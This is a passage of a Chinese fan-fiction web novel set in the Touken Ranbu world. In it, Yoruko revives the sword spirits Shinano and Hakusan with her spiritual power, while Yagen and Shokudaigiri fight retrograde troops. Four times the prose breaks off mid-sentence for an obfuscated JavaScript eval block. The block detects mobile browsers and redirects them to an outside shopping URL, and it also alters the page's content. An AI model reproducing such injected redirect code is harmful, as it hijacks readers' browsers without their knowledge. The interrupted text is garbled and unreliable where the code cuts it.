“嗯……听起来确实不错。”她的声音柔和,笑意浮上脸庞,心中那根悬着的弦终于松开了。 然而刚松一口气,她忽然又想起另一件事。 “对了,”她微微歪头,看向他们,“你们需要吃东西吗?” 药研闻言,先是愣了愣,随即露出一点浅浅的笑意,“可以吃,但真正补充能量的并不是普通的食物,而是有灵力的东西。” “灵力?”夜子轻声重复,神情中带着好奇。 “是的,”烛台切温和地答道,语气中带着一种稳重的耐心,“具备灵力是成为审神者最基本的条件。” “主人的灵力非常充裕。”他视线柔和地落在她身上,“我想,这也是药研殿能恢复人身的原因。” 药研点头同意了这点,面容依旧平和,却带着几分由衷的感激,“作为护身刀,我能一直待在大将身边,受到大将无意识散发的灵力的滋润。” “也幸好如此,”他低声道,眼神带着由衷的庆幸,“我才能赶在大将做出决定之前拦下您,又在危急关头凭借残存的灵力拥有实体,跟随您来到这个世界。” 夜子微微一怔,然后露出温柔的笑容。 烛台切看了他们一眼,“只要您将灵力注入食物里,我们便能摄取其中的能量。您不需要做什么特别的仪式,只需集中精神,引导灵力进入食物即可。” 她抬起头,“我也能做到这种事吗?”这听起来就像神社中的巫女一样。 “当然。”烛台切的语气笃定,带着温和的鼓励。 “其实,大多数审神者会直接在万屋购买带有灵力的食材,或者使用在被灵力覆盖的本丸中种植的蔬果制作料理。” 他略微停顿,神情渐渐变得凝重,“不过,这里似乎不太一样。” 他抬眼望向窗外,那阳光明亮得几乎不真实,然而在他眼中空气中却透着一种说不清的沉闷,“我能感觉到我们的本丸,其实就是这座城。” “按理说,本丸不该出现除了审神者、狐之助和刀剑付丧神以外的人类,可是这里不一样。”他缓缓道,声音压低,“而且这座城的范围太大了。若主人想用灵力覆盖整座城,会消耗极其庞大的灵力。” 药研的眉头也轻轻皱起。 烛台切的话音渐渐低沉,像是被什么压住了。 “所以现在的本丸应该是没有被灵力覆盖的状态。” 空气里一瞬间安静得连风声都听得见。 没有灵力覆盖的本丸会变成怎样的下场,无论是药研还是烛台切都早已听说过。 灵力消散,结界崩塌,本丸的坐标暴露在时间的裂隙中。接下来便是历史修正主义者的入侵,时间溯行军蜂拥而至,像嗅到血的野兽般摧毁一切。 药研的手在衣袖中微微蜷紧。 ……等等。 这听起来不就像现在的情况吗? 他们降临在一个被扭曲的城中,这座城遭遇时间溯行军的入侵,甚至现世的历史人物还诡异地出现在这个世界。 药研思索着,却终究没有把那句话说出口。 烛台切也没有,只是沉默地与他对视,然后低声开口,带着一丝警觉,“而且,这里有一股奇怪的气息。” 夜子抬起头,眼神里满是困惑,“气息?” “像是鬼气。”烛台切缓缓吐出一口气,手指落在刀柄上,眼神变得深沉,“若有若无,却确实存在。” 夜子怔了怔,虽然听不太懂,但隐约能察觉话里的沉重。 烛台切注意到空气的紧绷,轻轻叹了口气,神情微微有些懊悔。是他的失误,居然在主人用餐前提起这种压抑的话题,实在不合时宜。 毕竟,辜负美食可是巨大的罪责。 “抱歉,大将。”他温声说道,语气放得极轻,“现在不该谈这些,让您在用餐时分心了。” 他露出一抹柔和的笑,像是在弥补刚才那一瞬间的压迫感,“先吃饭吧。空腹思考太多事情,对身体可不好。” “没关系……”夜子摇摇头,神情仍带着几分认真,“我想先知道灵力要怎么导入食物?” 烛台切和药研交换了一个眼神,她却已经看出他们的犹豫,语气温柔却坚定得不容拒绝,难得地表现出强势的一面,“在你们告诉我之前,我都不会吃的。” 而她坚定的神情总是让人无法拒绝。 药研轻轻叹了口气,只能依着她的意愿。 “请先闭上眼,放空心思。”烛台切温声引导,“想象灵力顺着手臂汇聚到指尖。” 夜子依言而行,微微垂下眼,手掌覆在碗旁。她集中精神,缓缓地将那股微弱的流动引入食物之中。 当她睁开眼时,只感觉眼前的食物和原先并没有什么差别。 她心头微微一沉,有些失望地皱了皱眉。 是失败了吗? 然而,药研却微微一怔,“……成功了。”他露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875505|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡的笑意,“大将果然很有天赋。” 第一次便能将灵力如此自然地引入物品,这是许多审神者都难以做到的。 夜子这才松了口气,露出浅浅的笑靥。 她拿起筷子,把灵力注入过的食物分给他们。烛台切和药研各自取了一点,神色平静地品尝,却在下一刻几乎同时将碗轻轻放下。 “我们就吃这么些吧。”药研淡淡道。 夜子微微一怔,困惑地看着他们,“为什么?难道不好吃吗?” 可是为她准备食物的厨师可以说是这座城里厨艺数一数二的厨师了。 还是说灵力会改变食物的味道?又或是付丧神和人类的味觉不同? “不是。”烛台切摇头,语气温和却坚决,“只是食物的份量太少了。若我们分走太多,您吃不饱怎么办?” “这样才能保持苗条的身材。”夜子半开玩笑地轻声说道。 药研顿了顿,少见地露出有些不赞同的神情。他语气平稳,却带着一丝认真,“我们目前体内的灵力还充足。而且在这种危险的环境下,主人应该更要吃饱。” “再说了,健康的身体才是最美的。”这话还是他的前主,不对,应该说是前前主告诉他的。 他的目光不禁黯了黯。 烛台切也赞同地点头,明显很支持这个观点,“确实如此。您若不吃好,我们可要担心了。” 夜子微微一怔。 从前她听到的从来都是“女孩子吃太多不好看”“身段要纤细才显气质”,可他们却用理所当然的语气劝她多吃点,要吃饱、要强健、要健康。 她忽然轻轻笑了出来,笑容柔软得几乎化开。 “好吧。”她轻声应下,声音里带着一丝温度。 于是她开始一口一口地吃着。 虽然被两道温柔却不容忽视的目光注视着让她有些不自在,但那感觉似乎并不讨厌。 这就是被关心的感觉吗? 那种久违的温暖让她恍惚间仿佛回到了过去,那时父亲和弟弟还在,饭桌上总有笑声和热气,只不过那时的他们从不会劝她多吃,只会轻声提醒女孩子要吃得精致些。 如今,却有人一本正经地劝她多吃点。 她眉眼弯弯。 直到最后一粒米都吃完,烛台切才微微松了口气,而药研则带着惯常的温和礼节,轻声说道:“辛苦了,大将。” 夜子放下碗筷,抬头看向他们。 她忽然很好奇他们来自的世界会是什么样的地方,竟能让男子如此自然地说出健康的身体才最美这种话。 一个女子不必小心翼翼压抑食量、无需担心因身形而被评判的地方……听起来就像来自西方的教派所说的天国。 她的手指在膝上轻轻摩挲着,思绪不受控制地飘远。那些刀剑付丧神们或是被召唤到此世的人物也都来自那样的世界吗? 夜子忍不住微微一笑,却又很快摇了摇头,把这些不合时宜的念头甩开。 自己大概是从来没有被人在这样的细节上在意过,所以才会胡思乱想吧。 9. 修复 碗底的汤汁被最后一口喝尽,夜子放下筷子,抬起头,语气认真地问:“我的灵力……对修复白山信浓有用吗?” 这突如其来的问题让空气微微一滞。 药研的指尖顿了顿,他显然没想到她能察觉到这一点。那双一向沉稳的眼眸里闪过一丝惊讶,片刻后才缓缓点头,“是的。” “那为什么不告诉我?”夜子的声音柔和,却让人无从回避。 药研垂下视线,沉默了一瞬,才开口道:“大将的身体还没有完全恢复。修复白山信浓需要消耗大量灵力,您的身体会因此亏损……我担心——” “但药研还是希望他们能快点恢复,对吧?”她轻声打断,语气温柔得像是她为他保养本体刀剑的时候。 药研的眼神微微动摇,那句看似简单的问题却轻易拨开了他心底的防线。他抿唇,终究还是点头,低声应道:“是。” 夜子看着他,嘴角轻轻弯起。那笑容很浅,却带着坚定的温柔,“我和药研的心情是一样的。” 她认真地注视着他的眼睛,声音低柔,语气却像誓言一样清晰,“让我们一起去把他们唤醒,好吗?” 药研的呼吸微微一顿。 那句话仿佛直接击中了心口,让他短暂地忘了该如何回应。 “大将真是……”他低声喃喃,掩饰似的别开视线。 他明明知道她只是出于信任与共鸣,可这份过于真挚的信任在他耳中却让他的脸颊也有些发烫。 “嗯?你在说什么吗?”夜子察觉到他神情微妙的变化,微微歪头,语气里满是无辜的疑惑,显然没意识到自己刚才的话究竟多么具有杀伤力。 那副毫无察觉的模样反而让他更加无措。 一旁的烛台切看着两人的互动忍不住同情难得泛起少男心的药研。 “真是少见啊,”他在心底感叹,眼神微微弯着,“还是第一次看到这样的药研殿呢。” 平日里的药研总是神情沉稳,言语得体,现在居然因为主人的一句话而微微红了耳尖。那副略显慌乱的模样,让烛台切也忍不住轻轻摇头。 “一期殿要是看见这一幕,一定会遗憾没能亲眼看到吧。”他嘴角的笑意渐渐收敛,心底浮起淡淡的思绪。 虽然他身为刀剑时与一期一振并无深交,但在那座曾经的本丸里,由于同为主力太刀,他们常常并肩出阵与溯行军交战。战场上的默契久了,自然而然地也多了几分熟悉。 只是,那样的日子似乎已经遥远到仿佛隔着一层雾。 他垂下视线,神色微微暗了几分。 不知那位如今是否安好。 烛台切没有再想下去,而原本难得表现出像少年的一面的短刀此时也回过神来了。 “没什么。”药研深吸一口气,仿佛要把胸腔中那阵突如其来的悸动一并压回心底。片刻后,他抬起头,神情恢复了平日里的冷静与从容,认真地应道:“好。” 他微微垂下视线,又补上一句,“但是大将若是撑不住了,千万不可以强撑。”那声音很轻,却认真得不容拒绝。 “知道了。”夜子为他终于松口而露出笑意,语气也轻快了几分,“那我先让人来收拾一下这里,我们待会儿就去仓库吧。” 烛台切与药研对视一眼,都默默地点了点头。 * 仓库离主屋不远,沿着回廊走过去不多时便能到达。那是她成婚时专门用来安置嫁妆的地方,平日里极少有人靠近。 药研不由得微微抬头,目光随着光线落在前方行走的夜子的背影上。她的步伐比方才轻快许多,裙摆轻轻晃动,显然很是期待。 他知道那是因为白山和信浓。 它们对她来说不仅仅是嫁妆,更是她弟弟送给她的礼物,所以她经常亲自取出擦拭、修复、保养,对它们的温柔与在意从指尖的细微动作都能看出来。也正因如此,白山与信浓并未与其他金银器皿、丝绸珠翠一同被深藏,而是被放置在更容易取出的地方。 他的眼里流露出淡淡的笑意,他的心情和她是一样的。 夜子抬起手轻轻掀开遮盖着刀剑的那层布。 两振熟悉的刀剑静静地躺在那里。刀鞘上光泽依旧,但把它们从刀鞘里取出后,却能看见刀身上密密麻麻宛若蜘蛛丝般的裂痕清晰可见。 这是无论她之前修复过多少次也没能补好的裂痕。 她轻轻抚摸刀身,“我只要像刚刚那样把灵力导入刀身就好了吗?”她轻声询问。 “是的。”烛台切微微颔首,语气沉稳温柔,似乎看出了她心底的忧虑,“没事的,我们会成功的。” 药研上前一步,视线紧随她的动作,指尖却微微收紧。 夜子深吸一口气,缓缓闭上眼,掌心轻覆在刀身上。她集中精神,像之前那样引导灵力汇聚于指尖。那道无形的流动顺着她的掌心注入刀中,空气中随即荡起一阵轻微的波纹。 下一瞬,白山与信浓的刀身闪过微弱的光。 “成功了。”药研的声音压得极轻,却带着一丝明显的颤动。 夜子也露出欣喜的笑容,“太好了——”但还没等她继续说什么,就感觉到有个身影突然朝自己扑来。她没来得及反应,对方就已经扑进她怀里了。 陌生的红发少年抱着她就不放,然后开始小声抽泣,“大将……”他的声音哽咽,肩膀微微颤抖,哭声带着压抑已久的委屈与渴望。 夜子一愣,低头看着怀里的少年,“你是信浓吗?” 对方抬起泪眼汪汪的脸,眼角还沾着泪珠,勉强点了点头,又在她怀里抽泣着,可怜的模样令她心头一软。 她愣了愣,终究还是伸手回抱过去,语气温柔得几乎像在哄弟弟,“没事了,我在这。” 她抬眼看向药研,想寻求一点帮助,却见他神色复杂,眼底闪过一丝难以察觉的怅然。 也许是他想起了什么。 是想起了关于信浓的事吗? 她轻轻地拍着信浓的背,掌心温热的温度透过布料传递过去,感觉有点像是在哄一只受惊的小兽。信浓的肩膀起初还在微微颤抖,渐渐地他的呼吸变得平稳了些,只是眼角还沾着泪。 “我是信浓藤四郎。”他抽噎着抬起头,嗓音发哑,却努力让自己听起来镇定,“是藤四郎兄弟中最被秘密珍藏着的孩子……” 话到一半,他的声音又低了下去,手指不安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875506|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地搅着衣角,“应该是……这样的吧?” 他抬眼看向夜子,眼神里带着一丝小心翼翼的探询,就像怕自己说错了话似的。 “我是秘藏之子……对吧?”他轻声问着,那双还泛着泪光的眼睛小心地望着她,指尖又不自觉地扯住她的衣袖,微微发抖。看起来仿佛她给的答案不是他想听到的,他就会再次哭起来。 像小动物般的依赖与不安。 夜子怔了怔。 秘藏之子这个称呼在她的理解里是被珍视、被呵护着的存在。那样的孩子应该笃定地笑着、心安理得地接受所有人的喜爱,而不是像眼前这个男孩一样,问出这种几乎带着乞求意味的问题。 她也不相信他原本是像现在这样的性格。 她的心里不知为何有些微微的酸涩,信浓明明有着那样干净的眼神,却总是露出犹豫的神情,好像连被爱这件事都需要反复确认。 她觉得他应该更自信地说出来自己是秘藏之子,因为他确实值得。 但是,秘密珍藏啊…… 她低下眼,怀里的男孩还在颤抖。她一遍又一遍地拍着他的背,指尖轻轻摩挲着他衣袖的布料。 如果真的喜欢,又为什么要藏起来呢?这份珍惜听起来既温柔,又有点孤单。 “当然了。”她的语气温柔,嘴角扬起一抹笑,想替他抚平所有不安。她不明白信浓为何会显得这么不自信,但直觉告诉她他需要肯定。 于是,她顿了顿,轻声补上一句,“你现在是我的秘藏子……嗯……不过……” “不过?” 他立刻紧张起来,整个人几乎屏住了呼吸,眼角的泪还未干,睫毛微微颤动,似乎再多一点不确定就会再次崩溃。 夜子看着他那认真又害怕的神情,温柔地用指尖拭去他脸上的泪痕。 “这么可爱又帅气的信浓要是只有我能看到,那就太可惜了。”她语气轻快地接着说,“真想让更多人都知道有这么棒的信浓呢。” 她本是想逗他笑,缓解那股小心翼翼的气氛。 然而信浓却怔住了。那双原本湿润的眼睛直直地看着她,瞳孔微微震动,像被什么击中了似的。 是说错话了吗? 夜子心中一紧,刚想开口解释—— 信浓却突然扑进她怀里,双臂死死环着她的腰,仿佛要把自己整个埋进去似的。他的额头埋在她颈侧,呼吸乱成一团,带着热气与细碎的呜咽。 “呜……!”他再也忍不住,压抑的哭声一下子崩开,带着彻底的放松与依赖,像是所有压抑的孤独与渴望都在这一刻找到了出口。 仓库外是一片静寂,这里平日少有人至,因此没人会被这哭声吸引过来,没有人会来打扰,也没有人会看到。 夜子一时间什么也说不出,只能伸手轻轻抱住他。她的手掌缓慢地抚着他的背,一下一下,像哄小孩入睡。 “好了,好了……没事的,信浓。”她低声安抚,语气轻得几乎融进空气里。 她能感受到怀中那具身体颤抖得厉害,却又拼命想要靠近温暖,就像一个终于找到归处的孩子。 泪水打湿了她的衣襟,但她只是温柔地安慰着。 10. 极化 “信浓没什么事,可能只是因为刚化形就一直在哭,所以有些累了。” 药研蹲在她身旁,语气平稳。指尖轻轻掀开信浓额前的碎发,检查着他的呼吸与脉象。那动作一如往常的细致,却带着某种克制的情绪。 夜子能感觉他也是在为他们能醒来而欣喜,只是不知道因为想起了什么而变得有些情绪低落。 “身体没有异常。”他低声补充道,稍稍抬眼看向夜子,“大将不用担心。” 她微微松了口气,怀里的少年仍旧睡得不安稳,睫毛间还残着几颗未干的泪珠,呼吸轻浅。她抬起手,顺势理了理他乱掉的发丝,柔声应道:“那就好。” 药研站起身,目光不自觉地停留在那一幕上。夜子怀中的信浓依旧死死抱着她不放,手指紧攥着衣襟,哪怕在睡梦里也不肯松开。那份依恋几乎让人心口一紧。 药研低下头,垂下睫毛,那短短几秒的沉默几乎不可察。 这样的大将……才值得信赖。 上一位的事情,就让它过去吧。 他心中默默想着,不知是在想对信浓说,还是在劝自己。 夜子察觉到那一瞬的沉默,抬头看了他一眼,却没有多问。她低下头,轻轻拍了拍怀里的信浓。 即便睡着了,信浓仍然像一只小兽般缩在她怀里,脸贴着她的胸口,手还不安分地攥着她的衣料。夜子本也没有要将他放下的意思,只是微微调整了姿势,让他睡得更舒服些,然后转头与其他人继续交谈。 “既然在我怀里的这位是信浓,”她轻笑着开口,语气温柔中带点玩笑,“那你就是白山了吧?” 被点到名的白发少年安静地向前一步。那双浅蓝色的眼睛澄澈却无波,仿佛隔着一层薄冰。 他微微点头,脸上并没有什么表情,看起来有些难以接近,“我是,白山吉光。由吉光所锻造的,剑。是嫁妆,也是祈求冥福的道具。还请多多关照。” 他的语气一如冰面般平稳,几乎没有起伏,却意外地真诚。 看起来他似乎也并非没有情绪。 夜子注视着他,忍不住轻轻笑了笑。这不但没有让她觉得疏远,反而让她生出一种温柔的亲切。 “请多关照。”夜子也点头回礼,心里感慨粟田口的每个刃性格都不太一样。 信浓柔软、敏感,像是需要人拥抱的小孩,但她相信他曾经一定也有自信满满的模样。药研总带着沉稳冷静,是个值得信赖的人。而白山给人一种安静的距离感,但或许只是因为不知道怎么和人相处。 白山和信浓都被唤醒了,刀身上已经看不见先前的裂痕。一切看起来都在往好的发展,她甚至开始憧憬能就这样平静地维持下去。 就在夜子忍不住为此感到开心时,药研的声音轻轻打断了她的思绪。 “大将,我和烛台切殿商量过了,接下来我们会去出阵。”他转头看向白山,语气依旧平稳,“大将就交给你了。” 白山点头,语调一如既往地认真,“接受命令。” “出阵……?”她下意识地重复,眉间微蹙,“是要去杀鬼吗?可是外面的鬼应该很多,如果只有你们两个——” 她没能把话说完。 她明白出阵是他们的使命,可理智与情感此刻却彼此冲突,她的喉咙里也像被什么东西堵住。 非常矛盾的。 一方面明白刀剑的使命,一方面又不希望他们受伤。 药研察觉到她的不安,神色微缓。他的声音依旧温和,比平时更轻了一点,“大将不用担心。若是以对刀剑付丧神的等级标准来看,烛台切殿已经极化满级,而我虽然还没极化,但也是极化前的九十九级。” 一旁的烛台切和白山不知道为什么露出有些疑惑的表情。前者微微挑眉,后者看起来像是在认真分析。 当然最困惑的还是第一次听说这种衡量标准的夜子,但是看起来她的困惑与前两人并不相同,她的困惑在于完全听不懂的术语。 药研顿了顿,眼角微微抽动,“……我说错了什么吗?” 另外两刃没有回应,只是一副纠结的模样。 至于夜子……她有些听不太懂,但从药研笃定地语气判断,话里的意思大概就是他们有实力能够打败鬼吧。她犹豫片刻,终究轻轻点头,选择相信他们。 “那你们要小心一点。”她轻声叮嘱,神情认真得几乎让空气都变得柔软,“我和白山、信浓会在这里等你们回来。要是遇到应付不过来的情况,就立刻撤回来,好吗?” “好。”药研应声,声音干净利落。 烛台切轻笑一声,伸手摸了摸她的发顶,温柔的举动自然得令人不觉得违和,“必须好好回应你的期待呢。” 当两人转身离开时,夜子目送着他们的背影,手指下意识地收紧衣袖。白山静静地站在一旁陪着她和睡着的信浓。 “……一定要平安回来啊。”那几乎只是夜子唇间的一声呢喃,却清晰地落进他的耳里。 白山垂下眼,没有起伏的声音带着坚定,“他们会的。” * 此时,另一边的两刃踏出城外。为了避免被发现,他们没有立刻交谈,只默契地在路上一直躲着其他人,连脚步声都尽量轻得近乎无声。 烛台切走在前方,药研紧随其后,神色一如既往的沉稳。恍惚间烛台切好像从药研身上看见了一期一振的身影,回忆起在旧本丸还没显现出一期一振时,就是药研撑起粟田口,照顾其他兄弟们。 如今好像又恢复这样的情况了呢。 直到他们离开城墙的视线范围,烛台切才轻轻吐出一口气,转头看向药研。 “话说回来,”他的语气带着几分温和的疑惑,“药研殿不是已经极化了吗?装束看起来和我记忆里的似乎不太一样。” “嗯?”药研低头一看,这才注意到自己的服装在某些细节上发生了变化。 他右肩上不知何时多了黑色半披风,原本只在左臂绑着的红黑织纹铠袖,此刻却在双臂上对称地出现,身上还挂着橙红色的绶带。 感觉橙红色的色调变得更多了。 他垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875507|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝视片刻,指尖轻触那层新添的披风,语气里带着一丝迟疑,“我完全没注意到。” 他垂眼,神情间隐约透出思索的阴影,“可是我应该还没来得及修行才对。在显现人形之前,我一直都还没有极化的迹象。” 他低声补了一句,几乎像是在自语,“没有修行也会极化吗?从来没听过这样的事。” “修行本身就是对心境的锻炼。”烛台切微微侧头,嘴角带着温和的笑意,语气中却隐隐带着探问:“或许你已经经历过什么,使得你的心完成了那段修行?” 作为曾经走过那条路的人,他比任何人都更清楚修行的意义。不是单纯的力量成长,而是一次剥离自我的历程。要直面自己的恐惧、执念与渴望,才能真正极化。 “我修行时是找到了自己的渴望,一期殿修行时是看破了失去记忆这件事,”烛台切缓缓开口,“那么药研殿呢?” 他侧过头,对药研露出一个浅浅的笑容。 药研怔了一下,那笑容让他想起了另一张同样温柔的脸。 ……一期哥。 他从未真正和一期哥谈起过修行。事实上,哪怕是当年一期哥极化归来的时候,也没有告诉他们自己究竟经历了什么。 那时的兄弟们对修行充满了憧憬与好奇,几乎轮流缠着他,想听他是如何走过那段路的,但蓝发的青年只是笑笑,用手轻轻揉乱他们的头发。 “每个人的修行都不同,需要找到的东西也不一样。”他对兄弟们的声音永远都那样温和,“如果我告诉你们我的经历,只会让你们对修行产生错误的认知,反而会成为你们前进的障碍。” 然后,他转头看向当时的药研。 “但如果是药研的话,应该不用担心。药研是个豁达的人呢。修行绝对不会是什么问题的。” 那句话,药研记了很久,甚至在后来一次次出阵、一次次归来之后,他仍记得那种被信任的感觉。 一期哥总是对他有种莫名的信任,可他却觉得自己根本不配。毕竟,他没能像一期哥那样把大家都带在身边,甚至还与他们失散了…… “药研殿?”烛台切的声音把他从思绪里拉回。 药研怔了怔,指尖不自觉地收紧。 他的脑海里浮现出夜子举刀对着自己的画面。 她颤抖的手、无序混乱的呼吸,以及滴落在他刀身的眼泪。那时候的她几乎崩溃,整个人浸在绝望与自责之中。 而他呢?明明是刀,却什么也做不到。无法伸手、无法发声,但即便没办法现身,他也要拼尽全力阻止她。 “停下吧,大将。”他那时多么希望她能听见。 于是刀身在颤抖。 幸运的是,她真的停了下来。 虽然用自己作为羁绊,将大将困在这糟透的世界,似乎有些自私,但他没办法看着她就那样消失。 说起来也可笑,明明自己死去也无所谓,身边的人死去却会感到悲伤。 但是…… 他相信大将会原谅他的,会明白他的心情的。 11. 气息 药研的心口似乎被什么柔软又炙热的东西轻轻触碰了一下。 “……或许吧。”他轻轻呼出一口气,嘴角扬起一个微弱的笑,“那时候确实有种奇怪的感觉。像是心被重新点燃了。” 让他想起曾经握着刀、发誓守护某个人时的心跳。 “应该是在那时完成的。”他顿了顿,语气轻得几乎要被风带走,“这也算是因祸得福了。”如果没有那场几乎让他魂魄崩散的绝望,他也不会找到这份新的信念。 只有变得更强,才能够保护大将。哪怕一切终将走向悲剧,也要有能力阻止。 烛台切笑出声,那笑意多了几分温暖的调侃,“有什么特别的感觉吗?我当年极化成功后,可是迫不及待地想回本丸炫耀一番呢。” “呵。”药研被他的话逗笑,唇角微微弯起,低低地应了一声。 他当然明白,烛台切口中的本丸并非指现在的这个本丸,也不是……那个让他们两个都想逃离的本丸。 他没有立刻回答,只是安静地站在那里,整理纷乱的情绪。 沉默片刻后,他才轻声道:“感觉像是……重获新生一般。”他抬起手,指尖在阳光下泛着金色的暖光,语气渐渐柔和,“该说是,有了更明确的心意吧。想去帮助人,想去守护。” 风静静地流过他的掌心,拂起他垂下的发丝。 “如果那位主人能看到这一幕,”他轻声补道,眼神里闪过一抹怀念,“应该会很高兴吧。毕竟他一直为没能送我去极化而感到内疚。” 他的眼神微垂,语气依旧平稳,却透出一丝无法掩饰的温柔与惋惜,“明明一切……都不是他的错。” 在夜子举起刀对向自己时,那也不是她的错造成的。 为什么善良的人总喜欢把过错揽在自己身上呢? 真是令人心疼,又无可奈何的矛盾。 烛台切没有再多说,只是望着他片刻,轻叹一声,“所以你才会在那一刻醒悟吧。” 即便不希望自己珍视之人离开,同样善良的人也不会希望对方改变善良的本质,而是希望能保护那份温柔不被伤害。 果然,不愧是药研啊。 他笑了笑,跟随药研继续深入树林。 风从远处的林间吹来,带着一股草叶与泥土混合的湿气。两人的脚步极轻,鞋底在枯叶上发出微弱的声响。 “……在这附近。”药研低声道,微微偏头,注视着前方的一处废弃神社,“应该有六个溯行军在那里。” 烛台切顺势拔刀,浅笑的唇角与隐隐约约的杀意形成对比,“看来,今天得稍微动动筋骨了。” “跃跃欲试啊。”药研的语气平静,却带着战斗前那种难以掩饰的专注。 下一瞬,数道黑影从神社中冲出来。它们的身形模糊,披着破碎的甲胄,眼中燃着诡异的光。 药研率先出手。短刀在他掌间闪烁寒芒,他的动作快到几乎听不见踏地声。第一只溯行军的颈部被利刃划开,黑色的雾气迸散,他却未停手。刀锋翻转,连带着斩断第二只的手臂。 他的呼吸极稳,眼神冷静得近乎无情,与在夜子和同伴面前的神情截然不同。 而烛台切的刀锋紧接着落下,以强硬的攻势挡住了正面的敌群,替他稳住阵线。 “背后——”药研刚开口,烛台切的反应已先他一步。对方反手一劈,刀锋划破空气,那只试图偷袭的溯行军在半空中化作飞散的光屑。 “你还真是敏锐。”烛台切轻笑一声,眼底带着战斗时的畅快。 “彼此。”药研喘息极轻,额前的碎发被风吹起,露出专注的眼神。 残余的溯行军见势不妙,嘶吼着向后撤。药研目光一凛,拦住了它们的退路。 “结束了。” 烛台切顺势斩下最后一刀,黑雾消散。 等到所有溯行军都被解决,药研缓缓收刀入鞘。随着一声轻响,刀鞘与刀身贴合。本该是气氛开始放松的时候,他眉头微蹙,目光在地上的残痕间扫过,露出怀疑的神情,“情况有些不太对。” 烛台切点头,语气比平时多了几分凝重,显然也意识到了问题所在,“溯行军的数量太少了。” 阳光透过残败的鸟居照在他的肩头,他的神情也随之暗了几分。他们原本以为这里是溯行军的据点之一,所以才会前来这里出阵。可现在看来,情况并非如此。 明明越往城外走,应该越接近溯行军的巢穴才对,但是周围却没有多少溯行军,就像…… 药研环顾四周,空无一人的神社被藤蔓缠绕,“就像已经被人清理一样。”他低声道。 烛台切轻轻嗯了一声,垂眸看着地面,“难道是那些被召唤过来的大人已经来这里出征过了?” “效率如此之高……该说,不愧是他们吗?”他若有所思地道。 药研没有回应,只是静静地站着,仿佛在倾听什么。 “不对,”他忽然开口,声音低沉,“应该不是他们做的。”他的语气中没有丝毫犹豫。短刀天生灵敏的直觉让他对气息的流动极为敏感,空气里那股几乎被风掩盖的异样令他眉心越锁越紧。 烛台切转头看他,刚要问什么,便见对方的目光微微一敛。 在仔细侦查后,药研察觉到了陌生的气息,“有刀剑付丧神们来过。”他语气笃定。 烛台切抬眼望向他,眉头微动,“怎么说?” “这里。”药研蹲下。 他顺着药研的视线望去,半截断裂的树干上残留着几道极浅的刀痕,看起来像打刀留下的痕迹,带有灵力的气息。 只是那气息不知何故竟和溯行军的气息混合在一起,一时间令人难以察觉。 药研的目光投向前方荒芜的林地。 是去到更深处了吗?那里可是更加接近溯行军的巢穴了,付丧神若是毫无防备地前往那边,只能说是自投罗网。 烛台切一愣,随即露出罕见的讶色,“这里居然还有除了我们以外的刀剑吗?” 究竟是像他们那样在怀剑实现愿望时就已经待在原世界,还是之后被历史更动的时空乱流卷入。如果是前者,只能说明他们也是流浪或被抛弃的刀剑。 药研的指尖轻轻掠过刀痕,久久没有收回。他能感受到那些气息中有些熟悉的波动,却因为距离有一段时间而变得模糊。 烛台切低声道:“……这世界比我们想的还要更混乱呢。” 药研没有回应,只是站起身,抬头望向林子的深处。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875508|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出阵任务已经完成了,但是…… “继续走吧。”他轻声道。 烛台切看了他一眼,那双深色的眼底闪过一丝笑意,很明显认同他的做法。 “现在的本丸确实有点缺人。”他一边说,一边拔出佩刀,“那就去看看能不能带他们回来吧。” * 而另一边。 空气里混杂着血的气味,仔细一看血污也几乎布满了早已废弃已久的木屋。 “小夜现在情况怎么样?”压切长谷部声音低沉,看向身后的身影。 “……至少没有在恶化。”宗三左文字轻声答道。粉色的发丝在风中微微晃动,他半跪在昏暗的角落里,指尖仍停在小夜的额上,感受着那几乎微弱到消失的灵力波动。 “但如果一直没有办法手入的话……”他停下了,声音像被吞没,显然不愿想象最糟糕的结果。 